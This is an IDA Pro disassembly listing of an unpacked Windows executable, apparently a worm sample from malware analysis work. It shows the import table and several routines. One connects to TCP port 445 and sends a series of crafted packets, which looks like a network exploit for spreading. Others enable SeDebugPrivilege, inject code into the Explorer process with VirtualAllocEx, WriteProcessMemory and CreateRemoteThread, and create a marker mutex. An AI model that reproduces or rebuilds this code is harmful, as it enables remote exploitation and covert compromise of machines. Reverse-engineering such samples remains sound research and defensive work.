;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	5EA387F62ECA252B8CC4D27B3254E007

; File Name   :	u:\work\5ea387f62eca252b8cc4d27b3254e007_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31500000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31501000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31501000	dd 77DEA2F9h	; resolved to->ADVAPI32.CryptCreateHashdword_31501004	dd 77DEA122h	; resolved to->ADVAPI32.CryptHashDatadword_31501008	dd 77DEAB80h	; resolved to->ADVAPI32.CryptVerifySignatureAdword_3150100C	dd 77DEA254h	; resolved to->ADVAPI32.CryptDestroyHash					; sub_315028AE+FDr
dword_31501010	dd 77DEA544h	; resolved to->ADVAPI32.CryptDestroyKeydword_31501014	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_31501018	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_3150101C	dd 77DEA879h	; resolved to->ADVAPI32.CryptImportKeydword_31501020	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_31501024	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_31501028	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_3150102C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_315023E4+1Dr
dword_31501030	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueAdword_31501034	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_315023E4+4Er ...
dword_31501038	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownA		align 10h
dword_31501040	dd 7C830D74h, 7C80D262h; resolved to->KERNEL32.lstrcmpA					; sub_31503722:loc_31503968r ...
dword_31501048	dd 7C8360DDh	; resolved to->KERNEL32.SetCurrentDirectoryA					; sub_315029C7+14Br
dword_3150104C	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_31503608+EDr
dword_31501050	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTime					; sub_31503371+Ar
dword_31501054	dd 7C810B1Ch	; resolved to->KERNEL32.SystemTimeToFileTimedword_31501058	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_3150105C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_31501060	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_31501064	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_31501068	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_315029C7+3Fr ...
dword_3150106C	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; UPX0:31503448r ...
dword_31501070	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_31501074	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_31501078	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3150107C	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_31501080	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_31501084	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_31501088	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_315026C2+8Fr ...
dword_3150108C	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventA					; sub_31502BE8+98r
dword_31501090	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_31502BE8+C2r
dword_31501094	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_315025F6+Fr
dword_31501098	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_315028AE:loc_31502980r ...
dword_3150109C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_315025F6+C3r
dword_315010A0	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_315011C0+272r ...
dword_315010A4	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_31501A62+E2r ...
dword_315010A8	dd 7C810111h	; resolved to->KERNEL32.lstrcpynA					; sub_315029C7+69r ...
dword_315010AC	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_315010B0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_315017AF+2Cr
dword_315010B4	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_31501D96+ECr
dword_315010B8	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_315010BC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_31501911+19r ...
dword_315010C0	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_31502490+92r
dword_315010C4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; UPX0:31501D1Ar
dword_315010C8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_315031EC+13r ...
dword_315010CC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_315010D0	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_31501911+12r ...
dword_315010D4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_315010D8	dd 7C80A017h	; resolved to->KERNEL32.SetEvent					; sub_31502B4C+1Br
dword_315010DC	dd 7C81320Ch	; resolved to->KERNEL32.OpenEventAdword_315010E0	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_31501BA8+66r ...
dword_315010E4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_31502128+3Fr ...
dword_315010E8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_315010EC	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_315010F0	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_315029C7+83r ...
		align 8
dword_315010F8	dd 77C1BF18h	; resolved to->MSVCRT.atoidword_315010FC	dd 77C4CBE0h	; resolved to->MSVCRT.atandword_31501100	dd 77C4D444h	; resolved to->MSVCRT.sindword_31501104	dd 77C4CD34h	; resolved to->MSVCRT.cos; ---------------------------------------------------------------------------


loc_31501108:				; DATA XREF: sub_31503A98r
		cmp	[edi], ah
		retn	0FA77h		; DATA XREF: UPX0:loc_31503A92r
; ---------------------------------------------------------------------------
		db 27h,	0C2h, 77h
dword_31501110	dd 77C47660h	; resolved to->MSVCRT.strchr					; sub_31503722+B9r
dword_31501114	dd 77C46030h	; resolved to->MSVCRT.strcpydword_31501118	dd 77C46040h	; resolved to->MSVCRT.strcat; ---------------------------------------------------------------------------


loc_3150111C:				; DATA XREF: UPX0:loc_31503A80r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_31501120	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_31502490+79r ...
dword_31501124	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_31501BA8:loc_31501C76r ...
dword_31501128	dd 77C371BCh	; resolved to->MSVCRT.srand					; sub_31503371+5Dr
dword_3150112C	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_31501130	dd 77C478A0h	; resolved to->MSVCRT.strlendword_31501134	dd 77C475F0h	; resolved to->MSVCRT.memset		dd 0
dword_3150113C	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_31501A62+8Br ...
dword_31501140	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_31501144	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_31501148	dd 7E418A80h	; resolved to->USER32.GetWindowThreadProcessId		align 10h
dword_31501150	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlAdword_31501154	dd 42C2C8A1h	; resolved to->WININET.InternetOpenAdword_31501158	dd 42C2ABF4h	; resolved to->WININET.InternetReadFiledword_3150115C	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; UPX0:31502307r
		dd 0
dword_31501164	dd 71AB2DC0h	; resolved to->WS2_32.selectdword_31501168	dd 71AB2BC0h	; resolved to->WS2_32.ntohldword_3150116C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_31501170	dd 71AB3E00h	; resolved to->WS2_32.bind					; sub_31501F6B+7Ar ...
dword_31501174	dd 71AB88D3h	; resolved to->WS2_32.listen					; sub_31501F6B+93r ...
dword_31501178	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_31501F6B+B5r ...
dword_3150117C	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_31501180	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastErrordword_31501184	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_31501188	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_315019F3+25r
dword_3150118C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_31501BA8+ACr ...
dword_31501190	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_31502277+Dr
dword_31501194	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_31501BA8+F0r ...
dword_31501198	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_31502DEC+46r
dword_3150119C	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_31501A62+67r ...
dword_315011A0	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_315011C0+1D8r ...
dword_315011A4	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_31501A62+128r
dword_315011A8	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_31501A62+12Fr ...
		align 10h
dword_315011B0	dd 0FFFFFFFFh, 0		dd offset nullsub_1
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315011C0	proc near		; CODE XREF: sub_315020C4+36p
					; sub_31502128+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
		call	sub_31503A50
		mov	eax, dword_315059CC
		push	ebx
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		mov	[ebp+var_14], eax
		mov	eax, dword_315059D0
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edi
		call	dword_3150118C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_31501720
		push	esi
		mov	esi, [ebp+arg_0]
		push	1Dh
		push	esi
		call	dword_31501190	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		call	dword_315010A8	; lstrcpynA
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_4C]
		push	offset loc_315059C0
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_133]


loc_31501233:				; CODE XREF: sub_315011C0+83j
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_31501233
		push	60h
		lea	eax, [ebp+var_E4]
		push	offset dword_315054E0
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31503A3E	; strlen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_31503A3E	; strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_B5]
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31503A3E	; strlen
		add	al, 1Ah
		push	edi
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_E1]
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_31503A3E	; strlen
		shl	al, 1
		add	al, 9
		push	edi
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_B7]
		push	eax
		call	sub_31503A44	; memcpy
		push	0E29h
		lea	eax, [ebp+var_1F28]
		push	31h
		push	eax
		call	sub_31503A38	; memset
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_31503A38	; memset
		add	esp, 44h
		mov	[ebp+var_24], 2
		push	1BDh
		call	dword_31501194	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	[ebp+var_4]
		mov	[ebp+var_20], esi
		call	dword_31501198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_31501716
		mov	esi, dword_315010A4
		mov	edi, 0C8h
		push	edi
		call	esi	; Sleep
		push	ebx
		mov	ebx, dword_3150119C
		push	89h
		push	offset dword_315052C8
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		push	0
		push	0A8h
		push	offset dword_31505354
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		push	0
		push	0DEh
		push	offset dword_31505400
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		cmp	eax, 46h
		jl	loc_3150170B
		cmp	[ebp+var_730], 31h
		jnz	loc_315015B6
		and	[ebp+arg_0], 0
		push	7D0h
		lea	eax, [ebp+var_F44]
		push	90h
		push	eax
		call	sub_31503A38	; memset
		add	esp, 0Ch
		push	offset byte_31505000
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp+var_EA4]
		push	offset byte_31505000
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_315010A0	; lstrlenA
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_788]
		push	eax
		call	sub_31503A44	; memcpy
		mov	eax, dword_31505906
		add	esp, 0Ch
		mov	[ebp+var_798], eax


loc_31501457:				; CODE XREF: sub_315011C0+4E1j
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		push	0
		push	68h
		push	offset dword_31505544
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		push	0
		push	0A0h
		push	offset dword_315055B0
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		cmp	[ebp+arg_0], 0
		jz	loc_315016A6
		push	68h
		lea	eax, [ebp+var_89E4]
		push	offset dword_31505768
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_4834]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_897C]
		push	eax
		call	sub_31503A44	; memcpy
		push	70h
		lea	eax, [ebp+var_690C]
		push	offset dword_315057D4
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_37A0]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_689C]
		push	eax
		call	sub_31503A44	; memcpy
		push	84h
		lea	eax, [ebp+var_5DD8]
		push	offset dword_31505848
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89E4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_3150170B
		push	0
		push	0FDCh
		lea	eax, [ebp+var_690C]
		jmp	loc_315016FE
; ---------------------------------------------------------------------------


loc_315015B6:				; CODE XREF: sub_315011C0+22Bj
		push	0DACh
		lea	eax, [ebp+var_2CD8]
		push	90h
		push	eax
		mov	[ebp+arg_0], 1
		call	sub_31503A38	; memset
		push	4
		lea	eax, [ebp+var_24F4]
		push	offset dword_31505940
		push	eax
		call	sub_31503A44	; memcpy
		push	offset byte_31505000
		call	sub_31503A3E	; strlen
		push	eax
		lea	eax, [ebp+var_24E4]
		push	offset byte_31505000
		push	eax
		call	sub_31503A44	; memcpy
		push	4
		lea	eax, [ebp+var_21C0]
		push	offset loc_315059B8
		push	eax
		call	sub_31503A44	; memcpy
		push	4
		lea	eax, [ebp+var_21BC]
		push	offset dword_31505940
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 40h
		push	offset byte_31505000
		call	sub_31503A3E	; strlen
		push	eax
		lea	eax, [ebp+var_21B0]
		push	offset byte_31505000
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4833]


loc_31501652:				; CODE XREF: sub_315011C0+4A8j
		mov	dl, [ebp+ecx+var_2CD8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jl	short loc_31501652
		and	[ebp+var_2CDC],	0
		and	[ebp+var_2CDB],	0
		push	1C52h
		lea	eax, [ebp+var_89E4]
		push	31h
		push	eax
		call	sub_31503A38	; memset
		push	1C52h
		lea	eax, [ebp+var_690C]
		push	31h
		push	eax
		call	sub_31503A38	; memset
		add	esp, 18h
		jmp	loc_31501457
; ---------------------------------------------------------------------------


loc_315016A6:				; CODE XREF: sub_315011C0+339j
		push	7Ch
		lea	eax, [ebp+var_1F28]
		push	offset dword_31505654
		push	eax
		call	sub_31503A44	; memcpy
		lea	eax, [ebp+var_F44]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1EAC]
		push	eax
		call	sub_31503A44	; memcpy
		push	90h
		lea	eax, [ebp+var_16DC]
		push	offset dword_315056D4
		push	eax
		call	sub_31503A44	; memcpy
		add	esp, 24h
		and	[ebp+var_1231],	0
		lea	eax, [ebp+var_1F28]
		push	0
		push	0CF8h


loc_315016FE:				; CODE XREF: sub_315011C0+3F1j
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		and	[ebp+var_C], 0


loc_3150170B:				; CODE XREF: sub_315011C0+1ADj
					; sub_315011C0+1E1j ...
		push	2
		push	[ebp+var_4]
		call	dword_315011A4	; shutdown


loc_31501716:				; CODE XREF: sub_315011C0+166j
		push	[ebp+var_4]
		call	dword_315011A8	; closesocket
		pop	esi


loc_31501720:				; CODE XREF: sub_315011C0+37j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	ebx
		leave
		retn
sub_315011C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501727	proc near		; CODE XREF: UPX0:loc_31501D5Ap

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aAdvapi32 ; "advapi32"
		call	dword_315010B4	; LoadLibraryA
		mov	esi, dword_315010B0
		mov	edi, eax
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_315017AB
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_315017AB
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		call	esi	; GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_315017AB
		lea	eax, [ebp+var_C]
		push	eax
		push	20h
		call	dword_315010AC	; GetCurrentProcess
		push	eax
		call	[ebp+var_4]
		lea	eax, [ebp+var_18]
		mov	[ebp+var_1C], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		mov	[ebp+var_10], 2
		call	[ebp+var_8]
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	0
		push	[ebp+var_C]
		call	esi	; GetProcAddress


loc_315017AB:				; CODE XREF: sub_31501727+28j
					; sub_31501727+37j ...
		pop	edi
		pop	esi
		leave
		retn
sub_31501727	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315017AF	proc near		; CODE XREF: UPX0:31501D6Ep

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, ds:dword_31506190
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, [ecx+3Ch]
		push	edi
		add	eax, ecx
		push	offset aKernel32 ; "kernel32"
		mov	ecx, [eax+34h]
		mov	edi, [eax+50h]
		mov	[ebp+var_C], ecx
		call	dword_315010C4	; GetModuleHandleA
		mov	esi, dword_315010B0
		mov	ebx, eax
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_315017F6


loc_315017F2:				; CODE XREF: sub_315017AF+54j
		push	1
		jmp	short loc_31501847
; ---------------------------------------------------------------------------


loc_315017F6:				; CODE XREF: sub_315017AF+41j
		push	offset aCreateremoteth ; "CreateRemoteThread"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_315017F2
		push	0
		push	offset aShell_traywnd ;	"Shell_TrayWnd"
		call	dword_31501144	; FindWindowA
		test	eax, eax
		jnz	short loc_31501824
		call	dword_31501140	; GetForegroundWindow
		test	eax, eax
		jnz	short loc_31501824
		push	2
		jmp	short loc_31501847
; ---------------------------------------------------------------------------


loc_31501824:				; CODE XREF: sub_315017AF+65j
					; sub_315017AF+6Fj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	dword_31501148	; GetWindowThreadProcessId
		push	[ebp+var_8]
		push	0
		push	42Ah
		call	dword_315010C0	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_3150184A
		push	3


loc_31501847:				; CODE XREF: sub_315017AF+45j
					; sub_315017AF+73j
		pop	eax
		jmp	short loc_315018B5
; ---------------------------------------------------------------------------


loc_3150184A:				; CODE XREF: sub_315017AF+94j
		push	4
		push	3000h
		push	edi
		push	[ebp+var_C]
		push	ebx
		call	[ebp+var_10]
		mov	esi, dword_315010BC
		test	eax, eax
		jz	short loc_315018A8
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	eax
		push	eax
		push	ebx
		call	dword_315010B8	; WriteProcessMemory
		push	ds:dword_31506164
		call	esi	; CloseHandle
		lea	eax, [ebp+var_18]
		xor	edi, edi
		push	eax
		push	edi
		push	1
		push	[ebp+arg_0]
		push	edi
		push	edi
		push	ebx
		call	[ebp+var_14]
		cmp	eax, edi
		jz	short loc_31501894
		push	eax
		call	esi	; CloseHandle
		jmp	short loc_315018AF
; ---------------------------------------------------------------------------


loc_31501894:				; CODE XREF: sub_315017AF+DEj
		push	offset aUterm13_2i ; "uterm13.2i"
		call	sub_315018E8
		pop	ecx
		mov	[ebp+var_4], 5
		jmp	short loc_315018AF
; ---------------------------------------------------------------------------


loc_315018A8:				; CODE XREF: sub_315017AF+B2j
		mov	[ebp+var_4], 4


loc_315018AF:				; CODE XREF: sub_315017AF+E3j
					; sub_315017AF+F7j
		push	ebx
		call	esi	; CloseHandle
		mov	eax, [ebp+var_4]


loc_315018B5:				; CODE XREF: sub_315017AF+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_315017AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315018BA	proc near		; CODE XREF: sub_31501BA8+Bp
					; UPX0:31501D30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		pusha
		rdtsc
		mov	[ebp+var_8], eax
		popa
		mov	[ebp+var_4], esp
		call	dword_315010C8	; GetTickCount
		mov	ecx, [ebp+var_4]
		imul	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax
		call	dword_31501128	; srand
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_315018BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_315018E8	proc near		; CODE XREF: sub_315017AF+EAp
					; UPX0:31501D3Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	0
		call	dword_315010CC	; CreateMutexA
		retn
sub_315018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315018F7	proc near		; CODE XREF: sub_31501D96+145p
					; sub_31501D96+150p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_315010D0	; CreateThread
		pop	ebp
		retn
sub_315018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501911	proc near		; CODE XREF: sub_31501BA8+12Cp
					; sub_31501D96+12Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_315010D0	; CreateThread
		push	eax
		call	dword_315010BC	; CloseHandle
		pop	ebp
		retn
sub_31501911	endp


; =============== S U B	R O U T	I N E =======================================



sub_31501932	proc near		; CODE XREF: sub_31501F6B+26p
					; sub_315025F6+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_3150195A


loc_31501943:				; CODE XREF: sub_31501932+26j
		call	dword_31501124	; rand
		push	1Ah
		cdq
